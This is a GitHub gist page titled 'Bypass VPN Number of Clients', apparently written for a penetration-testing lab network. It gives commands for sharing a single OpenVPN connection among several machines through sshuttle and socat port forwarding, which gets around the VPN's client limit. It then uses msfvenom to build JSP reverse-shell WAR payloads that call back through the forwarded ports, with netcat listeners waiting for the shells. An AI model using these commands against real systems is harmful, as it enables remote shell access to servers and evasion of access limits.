Skip to content

Instantly share code, notes, and snippets.

@adon90
Last active July 10, 2018 08:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save adon90/eb8a168e594b4846969dcb2224c0054f to your computer and use it in GitHub Desktop.
Save adon90/eb8a168e594b4846969dcb2224c0054f to your computer and use it in GitHub Desktop.
Bypass VPN Number of Clients
HOST
openvpn adon901.ovpn
COMPUTER 1
sshuttle -vr root@HOST 10.10.0.0/8
COMPUTER 2
sshuttle -vr root@HOST 10.10.0.0/8
HOST:
socat TCP4-LISTEN:8443,fork,reuseaddr TCP4:<COMPUTER1>:80
socat TCP4-LISTEN:7443,fork,reuseaddr TCP4:<COMPUTER2>:7443
COMPUTER 1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.20.112 LPORT=8443 -f war > shell1.war
nc -nlvp 80
COMPUTER 2
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.20.122 LPORT=7443 -f war > shell2.war
nc -nlvp 7443
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment